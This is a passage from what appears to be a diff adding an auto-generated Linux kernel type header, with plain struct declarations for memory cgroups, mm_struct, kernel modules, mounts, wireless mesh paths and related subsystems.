unsigned long tree_scanned; + unsigned long tree_reclaimed; + spinlock_t sr_lock; + struct list_head events; + struct mutex events_lock; + struct work_struct work; +}; + +struct wb_domain { + spinlock_t lock; + struct fprop_global completions; + struct timer_list period_timer; + unsigned long period_time; + unsigned long dirty_limit_tstamp; + unsigned long dirty_limit; +}; + +struct wb_completion { + atomic_t cnt; + wait_queue_head_t *waitq; +}; + +struct memcg_cgwb_frn { + u64 bdi_id; + int memcg_id; + u64 at; + struct wb_completion done; +}; + +struct memcg_vmstats; + +struct memcg_vmstats_percpu; + +struct mem_cgroup_per_node; + +struct mem_cgroup { + struct cgroup_subsys_state css; + struct mem_cgroup_id id; + long: 64; + long: 64; + long: 64; + struct page_counter memory; + union { + struct page_counter swap; + struct page_counter memsw; + }; + struct list_head memory_peaks; + struct list_head swap_peaks; + spinlock_t peaks_lock; + struct work_struct high_work; + unsigned long zswap_max; + bool zswap_writeback; + struct vmpressure vmpressure; + bool oom_group; + int swappiness; + struct cgroup_file events_file; + struct cgroup_file events_local_file; + struct cgroup_file swap_events_file; + struct memcg_vmstats *vmstats; + atomic_long_t memory_events[9]; + atomic_long_t memory_events_local[9]; + unsigned long socket_pressure; + int kmemcg_id; + struct obj_cgroup __attribute__((btf_type_tag("rcu"))) *objcg; + struct obj_cgroup *orig_objcg; + struct list_head objcg_list; + struct memcg_vmstats_percpu __attribute__((btf_type_tag("percpu"))) *vmstats_percpu; + struct list_head cgwb_list; + struct wb_domain cgwb_domain; + struct memcg_cgwb_frn cgwb_frn[4]; + struct deferred_split deferred_split_queue; + struct mem_cgroup_per_node *nodeinfo[0]; +}; + +struct mem_cgroup_reclaim_iter { + struct mem_cgroup *position; + atomic_t generation; +}; + +struct shrinker_info; + +struct mem_cgroup_per_node { + struct mem_cgroup *memcg; + struct lruvec_stats_percpu __attribute__((btf_type_tag("percpu"))) *lruvec_stats_percpu; + struct lruvec_stats *lruvec_stats; + struct shrinker_info __attribute__((btf_type_tag("rcu"))) *shrinker_info; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + struct lruvec lruvec; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + unsigned long lru_zone_size[20]; + struct mem_cgroup_reclaim_iter iter; + long: 64; + long: 64; +}; + +typedef struct pglist_data pg_data_t; + +struct mem_cgroup_reclaim_cookie { + pg_data_t *pgdat; + int generation; +}; + +struct quota_format_type; + +struct mem_dqinfo { + struct quota_format_type *dqi_format; + int dqi_fmt_id; + struct list_head dqi_dirty_list; + unsigned long dqi_flags; + unsigned int dqi_bgrace; + unsigned int dqi_igrace; + qsize_t dqi_max_spc_limit; + qsize_t dqi_max_ino_limit; + void *dqi_priv; +}; + +struct mem_extent { + struct list_head hook; + unsigned long start; + unsigned long end; +}; + +struct mem_section_usage; + +struct mem_section { + unsigned long section_mem_map; + struct mem_section_usage *usage; +}; + +struct mem_section_usage { + struct callback_head rcu; + unsigned long subsection_map[1]; + unsigned long pageblock_flags[0]; +}; + +struct mem_size_stats { + unsigned long resident; + unsigned long shared_clean; + unsigned long shared_dirty; + unsigned long private_clean; + unsigned long private_dirty; + unsigned long referenced; + unsigned long anonymous; + unsigned long lazyfree; + unsigned long anonymous_thp; + unsigned long shmem_thp; + unsigned long file_thp; + unsigned long swap; + unsigned long shared_hugetlb; + unsigned long private_hugetlb; + unsigned long ksm; + u64 pss; + u64 pss_anon; + u64 pss_file; + u64 pss_shmem; + u64 pss_dirty; + u64 pss_locked; + u64 swap_pss; +}; + +struct mem_zone_bm_rtree { + struct list_head list; + struct list_head nodes; + struct list_head leaves; + unsigned long start_pfn; + unsigned long end_pfn; + struct rtree_node *rtree; + int levels; + unsigned int blocks; +}; + +struct memblock_region; + +struct memblock_type { + unsigned long cnt; + unsigned long max; + phys_addr_t total_size; + struct memblock_region *regions; + char *name; +}; + +struct memblock { + bool bottom_up; + phys_addr_t current_limit; + struct memblock_type memory; + struct memblock_type reserved; +}; + +struct memblock_region { + phys_addr_t base; + phys_addr_t size; + enum memblock_flags flags; + int nid; +}; + +struct membuf { + void *p; + size_t left; +}; + +struct memcg_stock_pcp { + local_lock_t stock_lock; + struct mem_cgroup *cached; + unsigned int nr_pages; + struct obj_cgroup *cached_objcg; + struct pglist_data *cached_pgdat; + unsigned int nr_bytes; + int nr_slab_reclaimable_b; + int nr_slab_unreclaimable_b; + struct work_struct work; + unsigned long flags; +}; + +struct memcg_vmstats { + long state[37]; + unsigned long events[20]; + long state_local[37]; + unsigned long events_local[20]; + long state_pending[37]; + unsigned long events_pending[20]; + atomic64_t stats_updates; +}; + +struct memcg_vmstats_percpu { + unsigned int stats_updates; + struct memcg_vmstats_percpu *parent; + struct memcg_vmstats *vmstats; + long state[37]; + unsigned long events[20]; + long state_prev[37]; + unsigned long events_prev[20]; + long: 64; + long: 64; + long: 64; +}; + +struct memdev { + const char *name; + const struct file_operations *fops; + fmode_t fmode; + umode_t mode; +}; + +struct memmap_attribute { + struct attribute attr; + ssize_t (*show)(struct firmware_map_entry *, char *); +}; + +struct memory_bitmap { + struct list_head zones; + struct linked_page *p_list; + struct bm_position cur; +}; + +struct memory_dev_type { + struct list_head tier_sibling; + struct list_head list; + int adistance; + nodemask_t nodes; + struct kref kref; +}; + +struct memory_stat { + const char *name; + unsigned int idx; +}; + +struct memory_tier { + struct list_head list; + struct list_head memory_types; + int adistance_start; + struct device dev; + nodemask_t lower_tier_mask; +}; + +struct mempolicy { + atomic_t refcnt; + unsigned short mode; + unsigned short flags; + nodemask_t nodes; + int home_node; + union { + nodemask_t cpuset_mems_allowed; + nodemask_t user_nodemask; + } w; +}; + +struct mempolicy_operations { + int (*create)(struct mempolicy *, const nodemask_t *); + void (*rebind)(struct mempolicy *, const nodemask_t *); +}; + +struct memtype { + u64 start; + u64 end; + u64 subtree_max_end; + enum page_cache_mode type; + struct rb_node rb; +}; + +struct menu_device { + int needs_update; + int tick_wakeup; + u64 next_timer_ns; + unsigned int bucket; + unsigned int correction_factor[12]; + unsigned int intervals[8]; + int interval_ptr; +}; + +struct mesh_csa_settings { + struct callback_head callback_head; + struct cfg80211_csa_settings settings; +}; + +struct mesh_path { + u8 dst[6]; + u8 mpp[6]; + struct rhash_head rhash; + struct hlist_node walk_list; + struct hlist_node gate_list; + struct ieee80211_sub_if_data *sdata; + struct sta_info __attribute__((btf_type_tag("rcu"))) *next_hop; + struct timer_list timer; + struct sk_buff_head frame_queue; + struct callback_head rcu; + u32 sn; + u32 metric; + u8 hop_count; + unsigned long exp_time; + u32 discovery_timeout; + u8 discovery_retries; + enum mesh_path_flags flags; + spinlock_t state_lock; + u8 rann_snd_addr[6]; + u32 rann_metric; + unsigned long last_preq_to_root; + unsigned long fast_tx_check; + bool is_root; + bool is_gate; + u32 path_change_count; +}; + +struct mesh_rmc { + struct hlist_head bucket[256]; + u32 idx_mask; +}; + +struct mesh_setup { + struct cfg80211_chan_def chandef; + const u8 *mesh_id; + u8 mesh_id_len; + u8 sync_method; + u8 path_sel_proto; + u8 path_metric; + u8 auth_id; + const u8 *ie; + u8 ie_len; + bool is_authenticated; + bool is_secure; + bool user_mpm; + u8 dtim_period; + u16 beacon_interval; + int mcast_rate[6]; + u32 basic_rates; + struct cfg80211_bitrate_mask beacon_rate; + bool userspace_handles_dfs; + bool control_port_over_nl80211; +}; + +struct xfrm_md_info { + u32 if_id; + int link; + struct dst_entry *dst_orig; +}; + +struct metadata_dst { + struct dst_entry dst; + enum metadata_type type; + union { + struct ip_tunnel_info tun_info; + struct hw_port_info port_info; + struct macsec_info macsec_info; + struct xfrm_md_info xfrm_info; + } u; +}; + +struct mgmt_frame_regs { + u32 global_stypes; + u32 interface_stypes; + u32 global_mcast_stypes; + u32 interface_mcast_stypes; +}; + +struct michael_mic_ctx { + u32 l; + u32 r; +}; + +struct microcode_header_amd { + u32 data_code; + u32 patch_id; + u16 mc_patch_data_id; + u8 mc_patch_data_len; + u8 init_flag; + u32 mc_patch_data_checksum; + u32 nb_dev_id; + u32 sb_dev_id; + u16 processor_rev_id; + u8 nb_rev_id; + u8 sb_rev_id; + u8 bios_api_rev; + u8 reserved1[3]; + u32 match_reg[8]; +}; + +struct microcode_amd { + struct microcode_header_amd hdr; + unsigned int mpb[0]; +}; + +struct microcode_header_intel { + unsigned int hdrver; + unsigned int rev; + unsigned int date; + unsigned int sig; + unsigned int cksum; + unsigned int ldrver; + unsigned int pf; + unsigned int datasize; + unsigned int totalsize; + unsigned int metasize; + unsigned int min_req_ver; + unsigned int reserved; +}; + +struct microcode_intel { + struct microcode_header_intel hdr; + unsigned int bits[0]; +}; + +struct microcode_ops { + enum ucode_state (*request_microcode_fw)(int, struct device *); + void (*microcode_fini_cpu)(int); + enum ucode_state (*apply_microcode)(int); + int (*collect_cpu_info)(int, struct cpu_signature *); + void (*finalize_late_load)(int); + unsigned int nmi_safe: 1; + unsigned int use_nmi: 1; +}; + +struct mid8250_board; + +struct mid8250 { + int line; + int dma_index; + struct pci_dev *dma_dev; + struct uart_8250_dma dma; + struct mid8250_board *board; + struct hsu_dma_chip dma_chip; +}; + +struct mid8250_board { + unsigned long freq; + unsigned int base_baud; + unsigned int bar; + int (*setup)(struct mid8250 *, struct uart_port *); + void (*exit)(struct mid8250 *); +}; + +struct migrate_pages_stats { + int nr_succeeded; + int nr_failed_pages; + int nr_thp_succeeded; + int nr_thp_failed; + int nr_thp_split; + int nr_split; +}; + +struct migrate_struct { + ext4_lblk_t first_block; + ext4_lblk_t last_block; + ext4_lblk_t curr_block; + ext4_fsblk_t first_pblock; + ext4_fsblk_t last_pblock; +}; + +struct set_affinity_pending; + +struct migration_arg { + struct task_struct *task; + int dest_cpu; + struct set_affinity_pending *pending; +}; + +struct migration_mpol { + struct mempolicy *pol; + unsigned long ilx; +}; + +struct migration_target_control { + int nid; + nodemask_t *nmask; + gfp_t gfp_mask; + enum migrate_reason reason; +}; + +struct phy_package_shared; + +struct mii_bus { + struct module *owner; + const char *name; + char id[61]; + void *priv; + int (*read)(struct mii_bus *, int, int); + int (*write)(struct mii_bus *, int, int, u16); + int (*read_c45)(struct mii_bus *, int, int, int); + int (*write_c45)(struct mii_bus *, int, int, int, u16); + int (*reset)(struct mii_bus *); + struct mdio_bus_stats stats[32]; + struct mutex mdio_lock; + struct device *parent; + enum { + MDIOBUS_ALLOCATED = 1, + MDIOBUS_REGISTERED = 2, + MDIOBUS_UNREGISTERED = 3, + MDIOBUS_RELEASED = 4, + } state; + struct device dev; + struct mdio_device *mdio_map[32]; + u32 phy_mask; + u32 phy_ignore_ta_mask; + int irq[32]; + int reset_delay_us; + int reset_post_delay_us; + struct gpio_desc *reset_gpiod; + struct mutex shared_lock; + struct phy_package_shared *shared[32]; +}; + +struct mii_if_info { + int phy_id; + int advertising; + int phy_id_mask; + int reg_num_mask; + unsigned int full_duplex: 1; + unsigned int force_media: 1; + unsigned int supports_gmii: 1; + struct net_device *dev; + int (*mdio_read)(struct net_device *, int, int); + void (*mdio_write)(struct net_device *, int, int, int); +}; + +struct mii_ioctl_data { + __u16 phy_id; + __u16 reg_num; + __u16 val_in; + __u16 val_out; +}; + +struct mii_timestamper { + bool (*rxtstamp)(struct mii_timestamper *, struct sk_buff *, int); + void (*txtstamp)(struct mii_timestamper *, struct sk_buff *, int); + int (*hwtstamp)(struct mii_timestamper *, struct kernel_hwtstamp_config *, struct netlink_ext_ack *); + void (*link_state)(struct mii_timestamper *, struct phy_device *); + int (*ts_info)(struct mii_timestamper *, struct kernel_ethtool_ts_info *); + struct device *device; +}; + +struct min_heap_callbacks { + bool (*less)(const void *, const void *, void *); + void (*swp)(void *, void *, void *); +}; + +struct min_heap_char { + int nr; + int size; + char *data; + char preallocated[0]; +}; + +typedef struct min_heap_char min_heap_char; + +struct tcf_proto; + +struct mini_Qdisc { + struct tcf_proto *filter_list; + struct tcf_block *block; + struct gnet_stats_basic_sync __attribute__((btf_type_tag("percpu"))) *cpu_bstats; + struct gnet_stats_queue __attribute__((btf_type_tag("percpu"))) *cpu_qstats; + unsigned long rcu_state; +}; + +struct mini_Qdisc_pair { + struct mini_Qdisc miniq1; + struct mini_Qdisc miniq2; + struct mini_Qdisc __attribute__((btf_type_tag("rcu"))) **p_miniq; +}; + +struct minmax_sample { + u32 t; + u32 v; +}; + +struct minmax { + struct minmax_sample s[3]; +}; + +struct minstrel_sample_category { + u8 sample_group; + u16 sample_rates[5]; + u16 cur_sample_rates[5]; +}; + +struct minstrel_rate_stats { + u16 attempts; + u16 last_attempts; + u16 success; + u16 last_success; + u32 att_hist; + u32 succ_hist; + u16 prob_avg; + u16 prob_avg_1; + u8 retry_count; + u8 retry_count_rtscts; + bool retry_updated; +}; + +struct minstrel_mcs_group_data { + u8 index; + u8 column; + u16 max_group_tp_rate[4]; + u16 max_group_prob_rate; + struct minstrel_rate_stats rates[10]; +}; + +struct minstrel_ht_sta { + struct ieee80211_sta *sta; + unsigned int ampdu_len; + unsigned int ampdu_packets; + unsigned int avg_ampdu_len; + u16 max_tp_rate[4]; + u16 max_prob_rate; + unsigned long last_stats_update; + unsigned int overhead; + unsigned int overhead_rtscts; + unsigned int overhead_legacy; + unsigned int overhead_legacy_rtscts; + unsigned int total_packets; + unsigned int sample_packets; + u32 tx_flags; + bool use_short_preamble; + u8 band; + u8 sample_seq; + u16 sample_rate; + unsigned long sample_time; + struct minstrel_sample_category sample[3]; + u16 supported[42]; + struct minstrel_mcs_group_data groups[42]; +}; + +struct minstrel_priv { + struct ieee80211_hw *hw; + unsigned int cw_min; + unsigned int cw_max; + unsigned int max_retry; + unsigned int segment_size; + unsigned int update_interval; + u8 cck_rates[4]; + u8 ofdm_rates[48]; +}; + +struct misc_res { + u64 max; + atomic64_t watermark; + atomic64_t usage; + atomic64_t events; + atomic64_t events_local; +}; + +struct misc_cg { + struct cgroup_subsys_state css; + struct cgroup_file events_file; + struct cgroup_file events_local_file; + struct misc_res res[0]; +}; + +struct miscdevice { + int minor; + const char *name; + const struct file_operations *fops; + struct list_head list; + struct device *parent; + struct device *this_device; + const struct attribute_group **groups; + const char *nodename; + umode_t mode; +}; + +struct mld2_grec { + __u8 grec_type; + __u8 grec_auxwords; + __be16 grec_nsrcs; + struct in6_addr grec_mca; + struct in6_addr grec_src[0]; +}; + +struct mld2_query { + struct icmp6hdr mld2q_hdr; + struct in6_addr mld2q_mca; + __u8 mld2q_qrv: 3; + __u8 mld2q_suppress: 1; + __u8 mld2q_resv2: 4; + __u8 mld2q_qqic; + __be16 mld2q_nsrcs; + struct in6_addr mld2q_srcs[0]; +}; + +struct mld2_report { + struct icmp6hdr mld2r_hdr; + struct mld2_grec mld2r_grec[0]; +}; + +struct mld_msg { + struct icmp6hdr mld_hdr; + struct in6_addr mld_mca; +}; + +struct mlock_fbatch { + local_lock_t lock; + struct folio_batch fbatch; +}; + +struct mm_cid { + u64 time; + int cid; +}; + +struct mm_reply_data { + struct ethnl_reply_data base; + struct ethtool_mm_state state; + struct ethtool_mm_stats stats; +}; + +struct xol_area; + +struct uprobes_state { + struct xol_area *xol_area; +}; + +struct mm_struct { + struct { + struct { + atomic_t mm_count; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct maple_tree mm_mt; + unsigned long mmap_base; + unsigned long mmap_legacy_base; + unsigned long task_size; + pgd_t *pgd; + atomic_t membarrier_state; + atomic_t mm_users; + struct mm_cid __attribute__((btf_type_tag("percpu"))) *pcpu_cid; + unsigned long mm_cid_next_scan; + atomic_long_t pgtables_bytes; + int map_count; + spinlock_t page_table_lock; + struct rw_semaphore mmap_lock; + struct list_head mmlist; + int mm_lock_seq; + unsigned long hiwater_rss; + unsigned long hiwater_vm; + unsigned long total_vm; + unsigned long locked_vm; + atomic64_t pinned_vm; + unsigned long data_vm; + unsigned long exec_vm; + unsigned long stack_vm; + unsigned long def_flags; + seqcount_t write_protect_seq; + spinlock_t arg_lock; + unsigned long start_code; + unsigned long end_code; + unsigned long start_data; + unsigned long end_data; + unsigned long start_brk; + unsigned long brk; + unsigned long start_stack; + unsigned long arg_start; + unsigned long arg_end; + unsigned long env_start; + unsigned long env_end; + unsigned long saved_auxv[50]; + struct percpu_counter rss_stat[4]; + struct linux_binfmt *binfmt; + mm_context_t context; + unsigned long flags; + spinlock_t ioctx_lock; + struct kioctx_table __attribute__((btf_type_tag("rcu"))) *ioctx_table; + struct task_struct __attribute__((btf_type_tag("rcu"))) *owner; + struct user_namespace *user_ns; + struct file __attribute__((btf_type_tag("rcu"))) *exe_file; + atomic_t tlb_flush_pending; + atomic_t tlb_flush_batched; + struct uprobes_state uprobes_state; + atomic_long_t hugetlb_usage; + struct work_struct async_put_work; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + unsigned long cpu_bitmap[0]; +}; + +struct mm_struct__safe_rcu_or_null { + struct file __attribute__((btf_type_tag("rcu"))) *exe_file; +}; + +struct mm_walk_ops; + +struct mm_walk { + const struct mm_walk_ops *ops; + struct mm_struct *mm; + pgd_t *pgd; + struct vm_area_struct *vma; + enum page_walk_action action; + bool no_vma; + void *private; +}; + +struct mm_walk_ops { + int (*pgd_entry)(pgd_t *, unsigned long, unsigned long, struct mm_walk *); + int (*p4d_entry)(p4d_t *, unsigned long, unsigned long, struct mm_walk *); + int (*pud_entry)(pud_t *, unsigned long, unsigned long, struct mm_walk *); + int (*pmd_entry)(pmd_t *, unsigned long, unsigned long, struct mm_walk *); + int (*pte_entry)(pte_t *, unsigned long, unsigned long, struct mm_walk *); + int (*pte_hole)(unsigned long, unsigned long, int, struct mm_walk *); + int (*hugetlb_entry)(pte_t *, unsigned long, unsigned long, unsigned long, struct mm_walk *); + int (*test_walk)(unsigned long, unsigned long, struct mm_walk *); + int (*pre_vma)(unsigned long, unsigned long, struct mm_walk *); + void (*post_vma)(struct mm_walk *); + enum page_walk_lock walk_lock; +}; + +struct mmap_unlock_irq_work { + struct irq_work irq_work; + struct mm_struct *mm; +}; + +struct mminit_pfnnid_cache { + unsigned long last_start; + unsigned long last_end; + int last_nid; +}; + +struct mmp_struct { + __le32 mmp_magic; + __le32 mmp_seq; + __le64 mmp_time; + char mmp_nodename[64]; + char mmp_bdevname[32]; + __le16 mmp_check_interval; + __le16 mmp_pad1; + __le32 mmp_pad2[226]; + __le32 mmp_checksum; +}; + +struct mmpin { + struct user_struct *user; + unsigned int num_pg; +}; + +struct user_msghdr { + void __attribute__((btf_type_tag("user"))) *msg_name; + int msg_namelen; + struct iovec __attribute__((btf_type_tag("user"))) *msg_iov; + __kernel_size_t msg_iovlen; + void __attribute__((btf_type_tag("user"))) *msg_control; + __kernel_size_t msg_controllen; + unsigned int msg_flags; +}; + +struct mmsghdr { + struct user_msghdr msg_hdr; + unsigned int msg_len; +}; + +struct mmu_gather_batch { + struct mmu_gather_batch *next; + unsigned int nr; + unsigned int max; + struct encoded_page *encoded_pages[0]; +}; + +struct mmu_gather { + struct mm_struct *mm; + unsigned long start; + unsigned long end; + unsigned int fullmm: 1; + unsigned int need_flush_all: 1; + unsigned int freed_tables: 1; + unsigned int delayed_rmap: 1; + unsigned int cleared_ptes: 1; + unsigned int cleared_pmds: 1; + unsigned int cleared_puds: 1; + unsigned int cleared_p4ds: 1; + unsigned int vma_exec: 1; + unsigned int vma_huge: 1; + unsigned int vma_pfn: 1; + unsigned int batch_count; + struct mmu_gather_batch *active; + struct mmu_gather_batch local; + struct page *__pages[8]; +}; + +struct mmu_notifier_range { + unsigned long start; + unsigned long end; +}; + +struct mnt_id_req { + __u32 size; + __u32 spare; + __u64 mnt_id; + __u64 param; + __u64 mnt_ns_id; +}; + +struct uid_gid_extent { + u32 first; + u32 lower_first; + u32 count; +}; + +struct uid_gid_map { + union { + struct { + struct uid_gid_extent extent[5]; + u32 nr_extents; + }; + struct { + struct uid_gid_extent *forward; + struct uid_gid_extent *reverse; + }; + }; +}; + +struct mnt_idmap { + struct uid_gid_map uid_map; + struct uid_gid_map gid_map; + refcount_t count; +}; + +struct mount; + +struct mnt_namespace { + struct ns_common ns; + struct mount *root; + struct rb_root mounts; + struct user_namespace *user_ns; + struct ucounts *ucounts; + u64 seq; + wait_queue_head_t poll; + u64 event; + unsigned int nr_mounts; + unsigned int pending_mounts; + struct rb_node mnt_ns_tree_node; + refcount_t passive; +}; + +struct mnt_ns_info { + __u32 size; + __u32 nr_mounts; + __u64 mnt_ns_id; +}; + +struct mnt_pcp { + int mnt_count; + int mnt_writers; +}; + +struct orc_entry; + +struct mod_arch_specific { + unsigned int num_orcs; + int *orc_unwind_ip; + struct orc_entry *orc_unwind; +}; + +struct mod_initfree { + struct llist_node node; + void *init_text; + void *init_data; + void *init_rodata; +}; + +struct mod_kallsyms { + Elf64_Sym *symtab; + unsigned int num_symtab; + char *strtab; + char *typetab; +}; + +struct mod_tree_node { + struct module *mod; + struct latch_tree_node node; +}; + +struct mod_tree_root { + struct latch_tree_root root; + unsigned long addr_min; + unsigned long addr_max; +}; + +struct module_param_attrs; + +struct module_kobject { + struct kobject kobj; + struct module *mod; + struct kobject *drivers_dir; + struct module_param_attrs *mp; + struct completion *kobj_completion; +}; + +struct module_memory { + void *base; + unsigned int size; + struct mod_tree_node mtn; +}; + +struct module_attribute; + +struct module_sect_attrs; + +struct module_notes_attrs; + +struct trace_event_call; + +struct trace_eval_map; + +struct static_call_site; + +struct module { + enum module_state state; + struct list_head list; + char name[56]; + struct module_kobject mkobj; + struct module_attribute *modinfo_attrs; + const char *version; + const char *srcversion; + struct kobject *holders_dir; + const struct kernel_symbol *syms; + const s32 *crcs; + unsigned int num_syms; + struct mutex param_lock; + struct kernel_param *kp; + unsigned int num_kp; + unsigned int num_gpl_syms; + const struct kernel_symbol *gpl_syms; + const s32 *gpl_crcs; + bool using_gplonly_symbols; + bool async_probe_requested; + unsigned int num_exentries; + struct exception_table_entry *extable; + int (*init)(void); + long: 64; + long: 64; + struct module_memory mem[7]; + struct mod_arch_specific arch; + unsigned long taints; + unsigned int num_bugs; + struct list_head bug_list; + struct bug_entry *bug_table; + struct mod_kallsyms __attribute__((btf_type_tag("rcu"))) *kallsyms; + struct mod_kallsyms core_kallsyms; + struct module_sect_attrs *sect_attrs; + struct module_notes_attrs *notes_attrs; + char *args; + void __attribute__((btf_type_tag("percpu"))) *percpu; + unsigned int percpu_size; + void *noinstr_text_start; + unsigned int noinstr_text_size; + unsigned int num_tracepoints; + tracepoint_ptr_t *tracepoints_ptrs; + unsigned int num_srcu_structs; + struct srcu_struct **srcu_struct_ptrs; + unsigned int num_bpf_raw_events; + struct bpf_raw_event_map *bpf_raw_events; + unsigned int btf_data_size; + unsigned int btf_base_data_size; + void *btf_data; + void *btf_base_data; + struct jump_entry *jump_entries; + unsigned int num_jump_entries; + unsigned int num_trace_bprintk_fmt; + const char **trace_bprintk_fmt_start; + struct trace_event_call **trace_events; + unsigned int num_trace_events; + struct trace_eval_map **trace_evals; + unsigned int num_trace_evals; + unsigned int num_ftrace_callsites; + unsigned long *ftrace_callsites; + void *kprobes_text_start; + unsigned int kprobes_text_size; + unsigned long *kprobe_blacklist; + unsigned int num_kprobe_blacklist; + int num_static_call_sites; + struct static_call_site *static_call_sites; + struct list_head source_list; + struct list_head target_list; + void (*exit)(void); + atomic_t refcnt; + struct error_injection_entry *ei_funcs; + unsigned int num_ei_funcs; + struct _ddebug_info dyndbg_info; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct module_attribute { + struct attribute attr; + ssize_t (*show)(struct module_attribute *, struct module_kobject *, char *); + ssize_t (*store)(struct module_attribute *, struct module_kobject *, const char *, size_t); + void (*setup)(struct module *, const char *); + int (*test)(struct module *); + void (*free)(struct module *); +}; + +struct module_notes_attrs { + struct kobject *dir; + unsigned int notes; + struct bin_attribute attrs[0]; +}; + +struct param_attribute { + struct module_attribute mattr; + const struct kernel_param *param; +}; + +struct module_param_attrs { + unsigned int num; + struct attribute_group grp; + struct param_attribute attrs[0]; +}; + +struct module_reply_data { + struct ethnl_reply_data base; + struct ethtool_module_power_mode_params power; +}; + +struct module_sect_attr { + struct bin_attribute battr; + unsigned long address; +}; + +struct module_sect_attrs { + struct attribute_group grp; + unsigned int nsections; + struct module_sect_attr attrs[0]; +}; + +struct module_string { + struct list_head next; + struct module *module; + char *str; +}; + +struct module_use { + struct list_head source_list; + struct list_head target_list; + struct module *source; + struct module *target; +}; + +struct module_version_attribute { + struct module_attribute mattr; + const char *module_name; + const char *version; +}; + +struct vfsmount { + struct dentry *mnt_root; + struct super_block *mnt_sb; + int mnt_flags; + struct mnt_idmap *mnt_idmap; +}; + +struct mountpoint; + +struct mount { + struct hlist_node mnt_hash; + struct mount *mnt_parent; + struct dentry *mnt_mountpoint; + struct vfsmount mnt; + union { + struct callback_head mnt_rcu; + struct llist_node mnt_llist; + }; + struct mnt_pcp __attribute__((btf_type_tag("percpu"))) *mnt_pcp; + struct list_head mnt_mounts; + struct list_head mnt_child; + struct list_head mnt_instance; + const char *mnt_devname; + union { + struct rb_node mnt_node; + struct list_head mnt_list; + }; + struct list_head mnt_expire; + struct list_head mnt_share; + struct list_head mnt_slave_list; + struct list_head mnt_slave; + struct mount *mnt_master; + struct mnt_namespace *mnt_ns; + struct mountpoint *mnt_mp; + union { + struct hlist_node mnt_mp_list; + struct hlist_node mnt_umount; + }; + struct list_head mnt_umounting; + struct fsnotify_mark_connector __attribute__((btf_type_tag("rcu"))) *mnt_fsnotify_marks; + __u32 mnt_fsnotify_mask; + int mnt_id; + u64 mnt_id_unique; + int mnt_group_id; + int mnt_expiry_mark; + struct hlist_head mnt_pins; + struct hlist_head mnt_stuck_children; +}; + +struct mount_attr { + __u64 attr_set; + __u64 attr_clr; + __u64 propagation; + __u64 userns_fd; +}; + +struct mount_kattr { + unsigned int attr_set; + unsigned int attr_clr; + unsigned int propagation; + unsigned int lookup_flags; + bool recurse; + struct user_namespace *mnt_userns; + struct mnt_idmap *mnt_idmap; +}; + +struct mount_opts { + int token; + int mount_opt; + int flags; +}; + +struct mountpoint { + struct hlist_node m_hash; + struct dentry *m_dentry; + struct hlist_head m_list; + int m_count; +}; + +struct movable_operations { + bool (*isolate_page)(struct page *, isolate_mode_t); + int (*migrate_page)(struct page *, struct page *, enum migrate_mode); + void (*putback_page)(struct page *); +}; + +struct move_extent { + __u32 reserved; + __u32 donor_fd; + __u64 orig_start; + __u64 donor_start; + __u64 len; + __u64 moved_len; +}; + +struct mp_chip_data { + struct list_head irq_2_pin; + struct IO_APIC_route_entry entry; + bool is_level; + bool active_low; + bool isa_irq; + u32 count; +}; + +struct mpage_da_data { + struct inode *inode; + struct writeback_control *wbc; + unsigned int can_map: 1; + unsigned long first_page; + unsigned long next_page; + unsigned long last_page; + struct ext4_map_blocks map; + struct ext4_io_submit io_submit; + unsigned int do_map: 1; + unsigned int scanned_until_end: 1; + unsigned int journalled_more_data: 1; +}; + +struct mpage_data { + struct bio *bio; + sector_t last_block_in_bio; + get_block_t *get_block; +}; + +struct mpage_readpage_args { + struct bio *bio; + struct folio *folio; + unsigned int nr_pages; + bool is_readahead; + sector_t last_block_in_bio; + struct buffer_head map_bh; + unsigned long first_logical_block; + get_block_t *get_block; +}; + +struct mpath_info { + u32 filled; + u32 frame_qlen; + u32 sn; + u32 metric; + u32 exptime; + u32 discovery_timeout; + u8 discovery_retries; + u8 flags; + u8 hop_count; + u32 path_change_count; + int generation; +}; + +struct mpc_intsrc { + unsigned char type; + unsigned char irqtype; + unsigned short irqflag; + unsigned char srcbus; + unsigned char srcbusirq; + unsigned char dstapic; + unsigned char dstirq; +}; + +struct mpls_label { + __be32 entry; +}; + +struct mpls_shim_hdr { + __be32 label_stack_entry; +}; + +struct mptcp_out_options {}; + +struct mptcp_sock {}; + +struct mq_attr { + __kernel_long_t mq_flags; + __kernel_long_t mq_maxmsg; + __kernel_long_t mq_msgsize; + __kernel_long_t mq_curmsgs; + __kernel_long_t __reserved[4]; +}; + +struct mq_inflight { + struct block_device *part; + unsigned int inflight[2]; +}; + +struct mq_sched { + struct Qdisc **qdiscs; +}; + +struct mqueue_fs_context { + struct ipc_namespace *ipc_ns; + bool newns; +}; + +struct sigevent { + sigval_t sigev_value; + int sigev_signo; + int sigev_notify; + union { + int _pad[12]; + int _tid; + struct { + void (*_function)(sigval_t); + void *_attribute; + } _sigev_thread; + } _sigev_un; +}; + +struct posix_msg_tree_node; + +struct mqueue_inode_info { + spinlock_t lock; + struct inode vfs_inode; + wait_queue_head_t wait_q; + struct rb_root msg_tree; + struct rb_node *msg_tree_rightmost; + struct posix_msg_tree_node *node_cache; + struct mq_attr attr; + struct sigevent notify; + struct pid *notify_owner; + u32 notify_self_exec_id; + struct user_namespace *notify_user_ns; + struct ucounts *ucounts; + struct sock *notify_sock; + struct sk_buff *notify_cookie; + struct ext_wait_queue e_wait_q[2]; + unsigned long qsize; +}; + +struct msdos_dir_entry { + __u8 name[11]; + __u8 attr; + __u8 lcase; + __u8 ctime_cs; + __le16 ctime; + __le16 cdate; + __le16 adate; + __le16 starthi; + __le16 time; + __le16 date; + __le16 start; + __le32 size; +}; + +struct msdos_dir_slot { + __u8 id; + __u8 name0_4[10]; + __u8 attr; + __u8 reserved; + __u8 alias_checksum; + __u8 name5_10[12]; + __le16 start; + __u8 name11_12[4]; +}; + +struct msdos_inode_info { + spinlock_t cache_lru_lock; + struct list_head cache_lru; + int nr_caches; + unsigned int cache_valid_id; + loff_t mmu_private; + int i_start; + int i_logstart; + int i_attrs; + loff_t i_pos; + struct hlist_node i_fat_hash; + struct hlist_node i_dir_hash; + struct rw_semaphore truncate_lock; + struct timespec64 i_crtime; + struct inode vfs_inode; +}; + +struct msdos_partition { + 